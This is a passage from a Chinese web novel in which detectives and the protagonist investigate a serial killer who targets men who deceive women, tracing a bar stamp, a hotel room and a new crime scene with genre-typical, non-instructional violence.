她不认识从前的程述,只知道从自己第一次见到他时,他就时刻理智客观,永远条分缕析,从不会对任何他不在意的人和事投入多余的感情,这一点即便是到了现在好像也没什么改变。
秦聿风没答话,只是神情复杂地看了她一眼,目光交错的瞬间,他又倏然低下头,干巴巴地笑了一声:“也可能……是我想多了吧。”
说完又生硬地转移了话题,打开手机递给她:“对了,我把那只小熊放在床头了。”
祝好接过手机,屏幕上是那只小熊玩偶坐在床头的照片,小熊的胸前还别着一枚勋章。
秦聿风笑着解释:“这是我当警察之后得到的第一枚勋章,它跟这只小熊一样对我都有很重要的意义,所以我把它们放在一起了。”
突然的一记直球打得祝好措手不及,不由得心头一跳,脸颊上莫名生出两团红晕。
她脑袋有些浆糊,正思考要说些什么,门突然被打开了,程述吸溜着鼻子走进来,把袋子放在茶几上,抱怨道:“你们俩吹着暖气倒是挺舒服,我这个跑腿的都要冷死了。”
她暗暗松了口气,赶紧转移了话题:“老大,你买了什么?”
“秦队请客,当然不可能只吃普通的快餐了。”程述嘿嘿一笑,从口袋里掏出秦聿风的钱包扔回给他,然后打开袋子,从里面拿出几份用保温膜包裹好的餐盒。
打开餐盒,里面是一大份还冒着热气的清炖羊肉,还有一些家常的小炒。
祝好本来不觉得饿,但一闻到飘散在空气中的香气,肚子立刻不争气地咕咕叫起来。
经过小火慢炖的羊肉鲜香不膻,融入了中药的甘甜味道,在冬天里吃着格外舒服。
饭吃到一半,秦聿风用筷子敲了敲程述的碗,迫不及待地催促道:“吃也吃了,你现在有灵感了吧?”
程述十分自然地把一块炖得软烂的羊肉夹进祝好碗里,撇了撇嘴:“秦队,没人教你吃东西的时候不能讲话吗?”
秦聿风白他一眼:“你不吊我胃口会死是吧?”
祝好咬着筷子接过话茬:“我也想知道。”
她心里其实已经隐隐有了一些猜测,但还是想知道程述的看法是不是跟自己一致。
“行吧。”程述妥协了,放下碗,喝了口水,说道:“首先我们要弄明白一个系列杀人犯如何选择、又为何会选择一个特定的被害者,才能建立起被害者与犯罪嫌疑人之间的关系。”
“比如指甲油杀手。”提起指甲油杀手,他话音顿了一下,才接着说:“根据我们以往的调查结果,他偏好的是身高一米六五左右、中短发的年轻女孩,也就是说,他是根据外观特征去挑选被害人的。”
“但隗泽和严睿,乍一看除了性别之外没什么相似之处,所以凶手之所以选中他们,很可能是根据他们一些内在的特征,譬如爱好和弱点。”
祝好嘴里嚼着羊肉,一时没办法口齿清晰地说话,只能举起手示意程述看过来,含糊不清道:“我知道了!”
程述一本正经地朝她抬了抬手:“祝好同学,有什么见解吗?”
祝好刚才就在想这两名受害者之间到底有什么共同点,程述的话让她灵光一闪,有了些头绪。
她三两下把嘴里的肉咽了下去,说道:“隗泽明明是个同性恋,却为了掩饰自己的取向而不停地更换女朋友;而严睿就更直接了,妻子怀孕四个月,他却在妻子的孕期出轨。我在想,从某种角度上说,他们的共同点是不是都欺骗了女性的感情?”
程述轻笑一声,坐回沙发上,又给她夹了块肉:“脑袋转得挺快啊,看来羊肉没白吃。”
秦聿风也停下筷子,认真思索了一番:“你们的意思是,凶手会挑选那些他认为欺骗了女性感情的渣男下手?”
程述点了点头:“换句话说,凶手挑选的是他觉得道德败坏或者伤风败俗的男人下手,而且割下受害者的生殖器,也表达了凶手的愤怒和对他们的鄙夷,甚至是仇恨。”
秦聿风摸了摸下巴,还是想不明白:“可是调查到现在,两名受害者的生活并没有什么交集,甚至没有共同认识的人,那凶手又是如何得知他们的私生活状况呢?”
程述:“如果被害者是预先选定的,他们就一定会有交集,只不过这种交集不一定是直接的,例如他们很有可能在同一个地方出现过,或者跟凶手有过短暂的交谈。”
祝好说:“那凶手应该也是女性吧?”
毕竟能完全跟女性共情的男人少之又少,就连身边这些乙游里看似完美的可攻略对象都不一定能做到。
程述不置可否,只是说:“在找到更多证据之前,我也没办法马上对凶手做犯罪心理画像,更不能对凶手的性别下定论,不然很容易影响调查的方向。”
顿了顿,又说:“不过,如果我们对凶手选择被害者特征的推断是正确的,那么凶手很有可能被这一类男性伤害、甚至是侵犯过,从而留下了心理创伤。而最近或许发生了什么事刺激到她,让他觉得自己有必要成为一个审判者;而当她觉得被害者的行为是不可原谅的,她又会成为一个行刑者,将他们杀害。”
祝好若有所思,捧起碗边继续吃饭边回味程述的话:虽然现在还不清楚谋杀的原因,但精神的创伤带来的影响是深远的,平时的凶手看起来可能与常人无异,可说不准哪一天,某个人或者某件事就会触发凶手的杀戮欲望。
等她回过神时,忽然发现自己碗里的肉已经堆成了一座小山,而程述和秦聿风像暗戳戳较劲似的,还在不停往她碗里夹肉。
她一脸茫然:“哎,你们怎么都不吃……”
突然传来的叩门声打断了她的话,秦聿风说了句“请进”,推门进来的是温珣的法医助理:“秦队,温主任那边有发现。”
秦聿风放下碗筷点点头:“知道了,我马上过去。”
*
法医解剖室里隗泽和严睿的尸体并排躺着。
为了保持尸体的完整性,解剖室的温度设置得很低,秦聿风出来得急,没来得及穿上外套,冷得朝手心里呼了口气,问道:“温主任,有什么发现?”
温珣说:“刚才我想用紫外线等看一看能不能在他身上找到指纹或者其他痕迹,没想到在他手上发现了这个。”
说着他让助手关掉了解剖室的灯光,打开紫外线灯照向严睿的左手手背。
祝好凑近一看,发现再紫外线灯的照射下,严睿的手背上出现了一个戳印,看起来像是个logo。
她好奇道:“这是什么?”
温珣回答:“有的酒吧为了证明顾客已经支付了入场费,会在他们的手背上盖个戳,当顾客再次进入酒吧时,就不需要重复支付费用了。这些戳盖用的是特制的荧光墨水,日常光线下看起来是透明的,只有在紫外线的照射下才会显现出来。”
程述捏了捏温珣的肩膀,露出一个意味深长
的笑:“温主任懂得挺多呀,看来是经常去?”
温珣淡淡地拂掉他的手,懒得搭理他,继续说道:“另一名受害者的手上也有同样的戳印,不过比第二名受害者的要淡一些。这种荧光墨水只能保留24小时左右,时间一久就会慢慢淡化,所以他们应该不是同一时间去的酒吧,很有可能间隔了一天或者两天。”
这么说来,他们的交集点或许就是这家酒吧,而手上的戳印也跟他们受害的时间对上了。
所以凶手是在酒吧遇到了他们之后,才选择他们作为目标的吗?
秦聿风掏出手机,对着那个戳印拍了个照,给手下的警员打了个电话,嘱咐道:“排查一下淮江市的酒吧和迪厅,看看有没有logo跟图里一致的,有的话马上发给我。”
第134章
有了那个logo,警方很快就锁定了一家名叫“禁果”的酒吧。这家酒吧位于西城区一处幽暗的巷子里,秦聿风跟着导航在错综复杂的乱巷中穿行了好一阵子,才艰难地找到了酒吧的入口——一扇十分不起眼的铁门。
这家酒吧虽然位置偏僻,但也恰好满足了当下年轻人的猎奇心理,推开铁门,里面果然别有洞天。
酒吧只有一层,映入眼帘的是一个巨大的舞池,舞池上方有个dj台,周围分散着一些卡座,调酒区被划分在舞台右侧的角落里。
这时还没到酒吧的营业时间,里面只有数十个服务员在做卫生清洁、盘点物资和检查舞台设备。看到有人进来,一个领班模样的男人迎上前招呼:“您好,我们现在还没有开始营业,你们……”
在看到秦聿风的出示的证件之后,他立刻挂上笑脸,嘴上拐了个一百八十度的弯:“你们有什么需要帮忙的吗?”
秦聿风点点头:“我们有个案子正在调查中,需要你们配合一下。”
酒吧里的工作人员都是二十岁出头的年轻人,正是好奇心旺盛的时候,一听是警察查案,好些人都不约而同停下手中的活,凑到他们跟前看热闹。
秦聿风掏出手机,打开了隗泽和严睿的照片递给他们:“这两个客人你们见过吗?”
手机在几个人当中传阅起来,他们低声交流了好一阵子,终于有个染着红发的女孩指着隗泽的照片说:“这个人……我好像有点印象。”
秦聿风问:“你见过他?”
或许是第一次接受警察的询问,女孩又有些犹豫了,拿起手机有认真看了许久才给出肯定的回答:“嗯,他应该是前几天来的,具体哪天有点记不太清了,反正不是前天晚上就是大前天的晚上。”
秦聿风问:“你还记得他当时坐哪儿吗?”
女孩指了指舞台右边靠近吧台的一个卡座:“就坐在那儿附近。他长得挺帅的,打扮得也很时尚,我给他上酒的时候就多看了几眼。”
祝好连忙问:“他是自己来的还是跟谁一起?”
女孩回答得快速而笃定:“他身边还有个女生。”
秦聿风问:“那个女生长什么样?”
女孩眼珠子转了一圈,不好意思地挠了挠头:“光顾着看帅哥了,没太注意那女生。她好像是留着大波浪,画着很浓的妆,穿得也很性感,长相什么的我就描述不出来了。”
程述抱着双臂坐在一张卡座的沙发扶手上,朝着女孩指的的方向瞥了一眼,问道:“那天晚上在调酒台的酒保是谁?”
领班赶紧拿来值班表翻了翻,回答说:“那天晚上值班的酒保是厉荣和陈洁,陈洁今天休息,厉荣……”
他往四下看了一圈,正好一个年轻男人抱着一箱清理干净的玻璃杯从后厨出来,便朝他招了招手:“厉荣,过来看看这张照片,你对他有印象吗?”
那个被称作厉荣的年轻男人倏然一愣,把箱子放在附近的桌上,局促地在裤子上抹掉手上的水,接过手机看了一眼,微微耸了下肩膀说:“好像没印象。”
这个规模的酒吧每天至少要接待几百位客人,加上内场灯光昏暗,服务员记不住人脸也是正常的。
秦聿风顺手滑动到严睿的照片,问他:“那这个人呢?”
厉荣捧着手机看了一会儿,嘴角轻轻一撇,还是摇头。
看来高大帅气的隗泽尚且能吸引一些眼球,而长相平平的严睿待遇就没那么好了,其他几个服务员回忆了许久,都纷纷表示对他没有任何印象。
不过这一趟也并非没有收获,秦聿风向领班确认了酒吧的戳盖是定制的,全市独一家,每一位入场的客人都会在手背上留下戳印,说明严睿的确来过这家酒吧。
酒吧里有几个监控摄像头,秦聿风让领班把监控的视频拷贝下来,离开之前又留下了自己的号码,嘱咐他们记起任何事就给他打电话。
离开酒吧时,天色已经完全暗下来了。
冬至还没到,淮江市就迎来了第一场罕见的雨夹雪。冷雨裹着白花花的雪从墨汁一般的天空中纷纷扬扬浇下,落在领子里激起一身鸡皮疙瘩。
刚回到警局,还没来得及喘口气,警员又匆匆拿着一个平板电脑走过来向秦聿风汇报:“秦队,我们找到严睿的车了。”
秦聿风解开外套扣子的手顿住了,问道:“在哪儿?”
警员打开平板上的地图,指着一条街道给他看。
这条街道被戏称为淮江市的“宾馆街”,顾名思义,一条三四公里长的主路和数不清的岔路上分布着大大小小鱼龙混杂的旅店、酒店、民宿,粗略一算至少有百来家,中间还夹杂着不少正规以及不正规的养生按摩店。
严睿的车就停在路旁的停车位上。
这条街只有四个车道,所以路边停车位早上七点之后就不允许停车了,可严睿的车在这儿停放了一天一夜,交警又联系不上车主,只好根据规定把车拖到了指定停车场,在把车牌输入到系统里时,才发现跟警局发出的协查通告对上号了。
警员关掉地图,又打开一个视频:“我们调出了附近的交通监控,发现他和一个女的在这儿下了车,往‘宾馆街’去了。”
祝好松了松脖子上的围巾,凑上前想看看监控,秦聿风注意到她踮着脚,贴心地把平板电脑放低了些。
从监控的时间上看,严睿把车开到停车位时已经是晚上十一点半了,车停好后,一个女人从副驾驶上走下来。
女人穿着件及膝的厚大衣,戴着毛线帽,堆叠的围巾遮住了大半张脸,她亲热地挽住了严睿的胳膊,带着他径直走进了“宾馆街”,之后就没有摄像头捕捉到他们的身影了。
视频里的那个女人不论是不是凶手,都一定和严睿的死有关系。
秦聿风边把刚才解开的两颗纽扣系上,边快速吩咐下去:“你带上几个人,以这个点为中心向四周排查附近两公里内所有的酒店、旅馆、民宿,把严睿的照片带给他们辨认,动作快。”
警员应了一声,拎着平板刚要走,又被秦聿风叫住。
秦聿风从口袋里摸出刚刚从酒吧拷贝下来的监控视频,说道:“顺便把这个u盘交给技术部,让他们逐帧查看,找到隗泽和严睿,以及跟他们一起离开的人。”
警员接过u盘,马不停蹄忙活去了。
看来今晚又是一个不眠夜。
秦聿风系上最后一颗扣子,扯了扯外套里面毛衣的领子,转向程述:“老程,你要一起吗?”
程述很自然地把问题递给祝好:“你想一起去吗?”
说实话,那么冷的天,祝好当然更愿意回家洗个热水澡,躺进暖烘烘的被窝里睡上一觉。但这个凶手短短几天之内就杀害了两个人,早一点找到她,就能早一点阻止下一起案子的发生。
她短暂地权衡了一下,还是下
定决心点点头:“我们也一起吧。”
程述少见地没有抱怨又要加班这件事,只是“嗯”了一声:“那走吧。”
时间已经不早了,或许是天气不好,路上的行人寥寥无几,但“宾馆街”依旧灯火通明,中间还夹杂着亮着粉红色暧昧灯光的小店。
秦聿风站在街口分配好任务,五六个警员两两一组钻进了街道中。作为程述名义上的“小助手”,祝好自然还是跟他一组。
程述撑起伞,把祝好拉到自己身侧,带着她走向分配到他们手里的那一块区域。
“宾馆街”因为定位特殊,向来是“扫黄打非”的重点关注对象。跟警察打交道多了,旅馆的老板和服务员回答起问题已经轻车熟路,态度算不上冷漠,但也绝对不热情,能撇清关系的就更不会主动提供线索了。
几个小时过去了,祝好跟程述一连走访了好几家宾馆和酒店,都没问出什么有用的信息来。从耳机里传出的动静来看,各组遇到的情况也都差不多。
持续一整天的奔波让祝好有些困倦,从一家酒店温暖的大厅出来时,迎面而来一阵湿冷的寒风,她忍不住打了个哈欠,呼出的气瞬间凝成了一团白雾,飘散在冬日凛冽的空气中。
程述看向她,笑容里夹着一丝促狭:“困了?”
不仅困,还冷得很。
不过祝好还是摇摇头,强打起精神走向下一家旅馆,不知怎么的,脑海里忽地闪过白天跟秦聿风在办公室里的对话。
她微微仰头看了看身旁的程述,撑在头顶的伞遮住了路灯投射下来的光,在他脸上划分出一道分明的光影分界线。
“老大,我可以问你个问题吗?”
“什么?”
她问出心中的疑惑:“你为什么会答应跟秦警官道歉?”
程述不耐烦地啧了一声:“你这人怎么那么难伺候,让我道歉的也是你,问我为什么道歉的也是你。”
“可是秦警官说你把他胳膊弄脱臼了都没道过歉。”
程述看似无奈地挑了挑眉,懒洋洋地抱怨:“这人可真记仇,八百年前的事了还要拿出来说。当时我只是轻轻一扯,谁想到他会那么弱鸡……”
祝好脱口打断他:“你是在转移话题吗?”
程述话音一顿,眼珠子向下瞥了她一眼,哼笑一声,又飞快地把目光挪开:“我为什么要转移话题?……哎,这家店我们进去过了吗?”
祝好顺着他的视线看去,瞧见正前方有一家没有招牌的小旅馆正亮着暗淡的灯光。
还没等她回答,程述就扶住她的肩膀,带着她往旅馆的方向走去。
第135章
这儿的装修说好听点是简单,说难听点就是简陋。比起旅馆,更像是用自建楼改造的黑店,前台只占了大厅一隅,里面放着一张躺椅,坐着个昏昏欲睡的中年女人,应该就是旅馆的老板了。
大厅里没开暖气,只有前台有个油汀散发着幽幽的橙光,角落的天花板上有个摄像头,不过并没有亮红点,估摸着只是个摆设。
听到动静,老板懒散地掀开眼皮子看了面前的一男一女,漫不经心地道:“标间98元一晚,钟点房40块钱三个小时,两个人的身份证都要登记。”
祝好刚想解释他们不是来住宿的,程述就抢先一步开口:“我想开个标间,可不可以不登记?”
老板犹疑地看了他一眼,说:“不行,一定要登记。”
程述装出一副疑惑的样子:“不对吧,我是听我朋友说您们这儿不需要登记也能入住才来的,难道他骗我?”
老板问:“你朋友?”
“哦,他昨晚刚入住的,你应该有印象。”程述从口袋里掏出手机,打开严睿的照片递给她。
祝好知道程述这是在试探她,就没吭声,在一旁默默围观。
老板看了严睿的照片一眼,果然露出一副“难怪呢”的表情:“他啊,我知道了。不登记也行,不登记要加100。”
程述了然地点点头,从口袋里掏出证件放在桌上:“警察查案,配合一下。”
老板看清他的证件后脸色一变,倏地坐直了身子,眼角眉梢写满戒备:“前两天不是刚查过吗?怎么又来了?”
祝好猜到她是把他们当成扫黄的了,赶紧解释道:“阿姨,我们不查那个。照片上这个人,您对他还有印象吗?”
老板话锋一转:“没印象,我刚刚记错了,我没见过他。”
程述笑了笑:“你确定?”
老板装作听不懂好赖话,硬邦邦地回应:“没见过就是没见过,我骗你们干什么?”
说着就朝门口的方向挥了挥手,送客的意味很明显。
祝好知道她在担心什么,摆出一个和善的笑容,把自己的语调拿捏得柔和又真诚:“您放心,我们不扫黄,也不查您的营业资质,如果您配合的话,调查很快就能结束,不会影响您营业的。”
说着又指了指程述,压低声音说:“你看到我上司了吗?他很凶的,如果您不配合,他可能真的会叫扫黄组的同事过来。”
老板下意识抬眼看向程述,似乎也被他浑身散发出来的疏离感说服了,这才无奈地道出实情:“他昨晚来过,跟一个女的一起来的。”
程述和祝好对视了一眼,从兜里掏出手机给秦聿风打去电话。祝好赶忙继续问老板:“他是第一次来吗?”
“不是,这几个月来过好几回了,每次都是加钱让我不要登记身份证。”老板面露不屑:“这种男人多半就是背着老婆出来鬼混的,我见得多了,男人都不是什么好东西……”
话说到一半又突然顿住,看向程述,干笑了一下:“警察同志,我不是说你啊。”
程述嘴角一撇,不以为意地耸了耸肩。
祝好问:“跟他来的女人长什么样?”
老板仔细回想了一下:“个子不高,大概比你矮半个头,长相么……记不太清了,她当时戴着帽子和围巾,把脸都挡住了,只露出一双眼睛,化了很浓的妆。”
从她的描述中,基本可以确认跟严睿来住宿的就是从他车上下来的女人。
这时程述也挂断了电话,往周围看了一圈,指着电梯旁边的一道铁门问道:“这扇门通往哪儿?”
老板:“通到后面的小巷,不过除了阿姨打扫卫生和倒垃圾之外基本没人用。”
程述走过去推开门,探头往外看了看,后面的小巷空无一人,一片漆黑。
他关上门时,秦聿风带着几个警员也陆续赶到了。
秦聿风问老板:“那个男人昨晚住在哪个房间?带我们上去看看。”
本就不宽敞的大厅被几个警察挤得满满当当,老板面露不悦,不满地斜了祝好一眼,似乎在对她刚刚那句“不会影响营业”的承诺颇有微词,答道:“楼上302,已经有客人入住了,能不能明天客人退房了再……”
她的话还没说完,就被秦聿风打断:“给客人换个房间,我们现在就要进去调查。”
老板对他颇有顾忌,哼哼了一声,从前台出来,带着他们坐电梯上了三楼。
大半夜从梦中被吵醒的住客还以为碰到了什么扫黄组,慌乱之下差点穿着大裤衩夺门而出,幸亏警员及时拦住他、让他穿上衣服,否则那么冷的天非冻死在外面不可。
这个房间换了一批客人,已经被打扫过一回了,床单也更换过,所有的指纹和可能留下的dna基本都被擦干净了,不过秦聿风给痕检科打去电话让他们尽快赶到,尽可能不错过任何可以作为证据的线索。
程述在房间里转了一圈,蹲下身仔细查看床沿,发现床头和床尾的四个角都有一圈摩擦的痕迹,上面的油漆被蹭掉不少。看来凶手的确是用
了某种方法,让严睿顺从地自愿让她把四肢绑在床上,这才在被塑料袋封住口鼻时无法挣扎,只能活活窒息而死。
有警员发出疑问:“从交通监控上看,凶手下车时并没有带行李箱之类的东西,那她是怎么把严睿的尸体转移走的呢?”
严睿身为一名成年男性,体重少说也有六七十公斤,身材娇小的女性很难独自将这样一具尸体从旅馆转移出去。
祝好突然想到经过走廊时曾看到隔壁有一间清洁室,立刻转头出了房间。推开清洁室的门,里面除了一些清洁用品之外,还有一个带着轮子的回收车,轮子上沾了些污渍,看起来像是泥水。
回收车是用来回收用过的床单被套的,容积很大,装下一个成年男性也绰绰有余,如果把尸体装进去,再覆盖上一层被单,就算被撞见也不会有人起疑。
老板陪着笑给客人换好房间回来,发现几个警察把302客房翻了个底朝天,脸黑得跟锅底似的:“到底什么事啊?那个人是杀人了还是放火了,值得你们大半夜来查,可别把周围的客人都吵醒了。还有啊,我刚刚还给客人打了折,损失的可是真金白银,你们警察赔不赔?”
秦聿风朝她露出一个亲和的笑,打断了她的喋喋不休:“是什么案子还不能对外透露,不过您做好心理准备,这可比扫黄要严重多了,您最好能够配合我们的调查。”
老板的脸色有些难看,讷讷地噤了声。
秦聿风问:“昨天晚上你有没有听到什么动静?”
老板没好气地说:“警察同志,我们这儿是旅馆,最不缺的就是动静了。”
这倒是实话,虽然已经接近后半夜,但走廊里还不时能听到一些奇怪的声音,就算严睿的惨叫和求救夹杂其中,多半也不会有人在意。
秦聿风接着问:“这个房间的人是几点离开的?”
老板回答:“这个我就真不记得了,估计是半夜吧,当时我在前台睡着了,睡醒之后就没看到他们下来。”
“你几点醒的?”
“早上六点。”
“那他们怎么退的房?”
“阿姨中午去打扫卫生的时候人已经走了,房卡就放在枕头上。”
从交通监控上看,女人跟严睿从车上离开的时间是十一点半,步行到这家旅馆大约需要10分钟,加上登记入住的时间,他们应该十二点左右就能到房间。
根据老板自己的说法,她从凌晨一点到六点都在睡觉,没注意到有没有人进出,因此凶手完全可以在无人发觉的情况下用电梯将严睿的尸体运到楼下,再通过后门转移到后巷。
秦聿风转向老板:“监控能用吗?”
老板的语气透露着心虚:“装了,但都没通电。”
秦聿风闻言一手掐着腰,一手揉了揉自己的太阳穴,头疼地叹了口气。
严睿为了方便自己偷情而不被发现,自以为严谨地选了一家没有监控、不用登记的酒店,没想到不仅给自己挖了个坑,还给警方的调查带来了无法突破的困难。
也不知是该说他活该呢,还是该说他活该。
天色渐亮,城市的路灯一盏接一盏地熄灭。雨夹雪终于停了,但是天空仍旧灰扑扑的,像是撒上了一层石灰。
几辆警车碾着积水疾驰而来,痕检科的同事大半夜被秦聿风一个电话从温暖的被窝里揪出来,个个都打着哈欠,眼底布满红血丝。
趁着秦聿风跟痕检科交代的空当,程述又一次打开了旅馆的后门,朝祝好勾了勾手。祝好不明所以,但还是跟了出去。
后巷里垃圾成堆,正在翻找食物的老鼠被突如其来的声响惊扰到了,四下逃窜,其中一只肥硕的大老鼠慌不择路,莽然地朝祝好的方向奔来。
祝好猝不及防被吓得一激灵,短促地惊呼了一声,下意识往身侧的程述身上扑去。
程述几乎也是下意识地一手扶着她的背,一手接住她的腿。等祝好反应过来时,发现自己正搂着他的脖子,被他稳稳地抱在怀里。
祝好:“……”
目光交错的瞬间,她甚至忘了尴尬这件事,脑袋里只有一个想法,那就是这一幕可千万别被秦聿风看到,否则真是解释不清了。
怕什么来什么,这个念头才刚在脑海里闪过一秒钟,就听到身后传来一阵开门声,接着是一声刻意的轻咳:“咳,老程,你们……”
第136章
祝好赶紧松开搂住程述脖子的手,拍了拍他的肩膀示意他放自己下来。
程述却无动于衷,继续维持着把她抱在怀里的姿势,转过身对秦聿风笑了笑:“嗯?怎么了?”
秦聿风的目光从他们身上飞快掠过,不自在地捋了捋额前的头发:“你们俩干嘛呢?”
真是个好问题,祝好也想知道他们俩在空无一人的巷子里玩公主抱是在干嘛。
程述微微欠身把祝好放了下来,语气淡淡:“没干什么,你怎么也出来了?”
这话什么意思,就好像在埋怨他出现的时间不太对似的。
双脚一碰到地面,祝好就赶紧比划着朝秦聿风解释:“秦警官,你当心点儿,这儿有好多老鼠,刚刚有只那么大的突然窜出来,吓死我了。是吧,老大?”
程述嘴角轻轻一动:“老鼠?没看到啊,我就看到你突然扑我怀里来了。”
祝好:“……”
又来了,这家伙简直是屡教不改,上回的事还没过去几天,这又开始犯起浑来了。
好在秦聿风并没有继续就这个话题探究下去,干笑道:“没事儿,我就是看到你们出来了,还以为你们是在找什么线索呢。”
“我是在找线索啊。”程述这才正经了些,朝着巷子尽头努了努嘴:“我刚刚就在想,凶手把尸体转移下来之后,又是怎么运到郊外的呢?”
话题转换得太快,祝好愣了一下才反应过来,接道:“如果要运到郊外,那应该只能开车吧?”
那么显眼一具尸体,难不成还能叫辆货拉拉?
程述转身走到巷子口四处看了看,巷子出去是一条横切的小路,宽度刚好能容纳一辆车。
他抱着双臂,像是自言自语,又像是在提出疑问:“严睿的车就停在附近,走到外面取车再回来顶多需要二十分钟,她为什么不用严睿的车抛尸呢?”
祝好思考了一会儿,明白了他的疑虑。
根据温珣的尸检结果,严睿的死亡时间是凌晨一点左右。
从旅馆到抛尸的地点,至少要一个小时的车程。尸体被人发现的时间是早上六点半,旅馆老板醒来的时间是六点,说明凶手至少在五点半就已经离开了。
按这样推算,从杀人到抛尸,凶手只有短短四个小时,时间非常紧张。
凶手没有开走严睿的车,而是选择开自己的车,那就说明她有更方便、快捷的方式。
换句话说,或许她自己的车离得更近、更方便把尸体搬运上去。
如果严睿是这儿的常客,那地方应该也是他自己挑选的,那么凶手又是如何提前得知严睿会带她到这儿来的?
秦聿风单手敲着自己的下巴,提出假设:“会不会她其实已经跟踪严睿一段时间了,知道他会经常来这儿?又或者,她家恰好就在附近?”
程述沉吟片刻:“不排除这些可能,不过我还有一个猜想,就是——”
话说到一半,秦聿风兜里的手机又一次响了起来,他皱了皱眉,抬手示意程述先别说话,然后接起电话。
“喂?”听对面讲了几句之后,秦聿风脸上的表情愈发阴沉,他捏着自己的眉心,重重地叹了口气。
祝好心生出一种不好的预感。
果不其然,挂断电话后,秦聿风带来了一个坏消息:“淮江大桥的桥洞底下又发现了一具尸体。”
又死了一个?
祝好人都麻了,虽然乙女游戏最不缺的就是男人,但现在这频率是不是太高了点儿。
程述双眉紧拧:“同样的作案手法?”
秦聿风似乎想点头,但很快又摇了摇头:“有相似的地方,但又有些区别……对了,你刚刚说的猜想是什么?”
程述却没往下说,只说道:“没什么,先去现场吧。我现在也只是推测,没准现场留下的证据会更多。”
天空依旧乌云密布,一眼望去,是一片无边无际的灰白。
从“宾馆街”到案发现场要经过市中心的街道,这时正是早高峰期,路上十分拥堵,程述放慢车速,一手把着方向盘,一手朝着祝好勾了勾。
祝好把插好吸管的咖啡递给他,突然想起他刚才在巷子里的举动,于是在他快要接过时又猛地收回手:“等等,我还没跟你算账呢,你刚刚——”
粘稠的车流一动不动,程述伸手把咖啡从她手里夺过来,无所谓地撇了撇嘴:“我刚刚是在帮你。”
祝好气极反笑:“帮我?”
程述喝了口咖啡,十分诚恳地点了点头,认真道:“你没看到老秦刚才的样子吗?”
“什么样子?”
“胜负欲,你看不出来?”
祝好茫然地摇了摇头。
绿灯亮起,车流终于开始动了,程述转头看着前方的路,微不可察地勾起嘴角:“没有我这个军师你可怎么办呐。我告诉你,男人都有胜负欲,小时候比谁尿得更远,青春期比谁长得更高,长大了还要比谁更帅更有钱。”
祝好心说有什么区别吗,归根结底不都一样幼稚。
他接着说:“胜负欲是男人的天性,要激起一个男人的胜负欲,首先要让他产生危机感。”
祝好听他说了半天也没抓住重点,忍不住问:“你到底想说什么?”
驶离市中心后,路况好了许多,终于可以用正常速度行驶了,程述按照秦聿风给的定位,把车开到一条沿河的车道上。
他啧了一声,一副恨铁不成钢的模样:“这你还不明白?如果老秦对你有好感,我刚刚的举动会让他产生危机感,激起他的胜负欲,这么一来,你都不需要主动出击,他就会自己送上门来。”
听着好像有点儿道理,不过有了前车之鉴,祝好还是警惕地盯着他,试图从他脸上找出他胡说八道的证据。
他感受到祝好的目光,无辜地眨巴着眼睛:“我可是牺牲了我自己给你铺路,你要是不信就算了。”
话说得倒是十分诚恳,但祝好被他坑了太多次,已经对他失去信任了,她翻了个白眼,决定先持怀疑态度。
沿河开了一段路后,程述拐进一条辅路,来到了淮江大桥的桥下。
淮江大桥东西向横跨过江,是淮江市南部主干路的构成部分之一。桥上每天车来车往,川流不息,而桥下却是另一幅景象——垃圾遍地,杂草丛生,荒无人烟。
穿过警戒线,一辆小轿车就停在河边的芦苇丛中,驾驶座上的男人面色绀紫,双目圆睁,浸了血的裤子被胡乱扒下,两腿之间空无一物。
与之前两个抛尸现场不同,这次的案发现场杂乱无章,打斗痕迹很明显,应该是第一现场。
温珣和法医助理已经在给尸体做初步尸检了,他抬了抬死者的胳膊,说道:“尸体高度僵硬,体温下降,死亡时间应该在7到8小时之间。”
程述打开副驾驶的门,凑近看了看:“面部有出血点,又是机械性窒息?”
温珣点点头:“没错,但他是被勒死的。”
说着指了指死者的脖子,上面果然有一道明显的勒痕和一些抓痕:“索沟水平环绕颈部一圈,在背面有交叉痕迹,颈部正面有反抗留下的抓痕,说明是有人从身后勒住了他的脖子。”
祝好有些疑惑:“从身后被勒死?那不就跟之前的作案手法都不一样吗?”
程述似乎也拿不准,沉吟道:“一般来说,连环凶手的行为模式只会逐步升级,不会突然改变。凶手一开始选择将受害者正面朝上绑在床上,用塑料袋套住他们的头,就是为了能看清他们窒息过程中痛苦的表情。从身后将他们勒死,就没办法做到这一点了。”
祝好问:“难道这起案子跟之前两起的凶手不是同一个人?”
程述摇摇头表示自己一时也没办法确定,想了想,又指着他的裆部问温珣:“这儿使用的刀具跟之前是一样的吗?”
温珣回答:“一不一样不好说,不过从切面上看,都是锋利的单面刀具。”
程述又问:“他的那玩意儿在哪儿?”
法医助理指了指身后:“被扔在那边的草丛里了。”
草丛里不只有被切割下来的生殖器,还有一只高跟鞋。高跟鞋的鞋跟上沾着泥土、杂草,还带着一些已经干涸的血迹。
程述戴上手套蹲下身,翻来覆去地检查着那一坨血次呼啦的器官,又拿起高跟鞋看了看,微微皱了下眉,不知在想些什么。
祝好实在不想直视那坨东西,只好抬手挡在眼前,从指缝中看着程述,问道:“老大,你在干什么?”
“这回的凶手不仅将死者的生殖器割下来,似乎还狠狠踩了几脚。”程述抽了抽鼻子,看向那辆小轿车:“如果凶手是同一个人,她对这次的受害者跟之前都不一样,愤怒的情绪更明显了。”
祝好不解:“愤怒?为什么?”
难道是因为死者跟她有什么关系,又或者,死者做了什么令她愤怒的事情?
秦聿风比他们提前一些到达,刚刚听完警员的汇报。
忙活了一天一夜,旅馆那边好不容易才有了一些进展,这边又出了一条人命,秦聿风更头疼了。他拿着一沓文件走过来,拍了拍程述的肩膀:“还真让你说对了,这回凶手留下的证据不少。”
程述摘下手套,问道:“死者的信息查出来了吗?”
他点点头,递过一份资料:“已经通过车牌查到了,他名叫蒋俊驰,28岁,是一名游戏主播,不是淮江本地人。我们刚联系上他的朋友,现在已经在赶往警局的路上了。”
第137章
一名警员拿着一部用证物袋装着的手机朝秦聿风走来:“秦队,我们破解了死者的手机密码,在相册里发现了几段视频。也许……跟凶手的作案动机有关系。”
秦聿风接过手机,随手点开其中一个视频。
视频一开始,镜头前的蒋俊驰摆弄着手机,似乎是把手机藏在什么地方,他上半身光裸着,身后的陈设看起来明显是酒店的房间。
架设好手机后,他若无其事地躺回床上,拿起遥控器装作在看电视的样子。
过了一会儿,一个围着浴巾的女生出现在镜头里,看着像是刚从浴室里出来。蒋俊驰伸手拉过她,将她推倒在床上,接着就是一段不可描述的香艳画面。
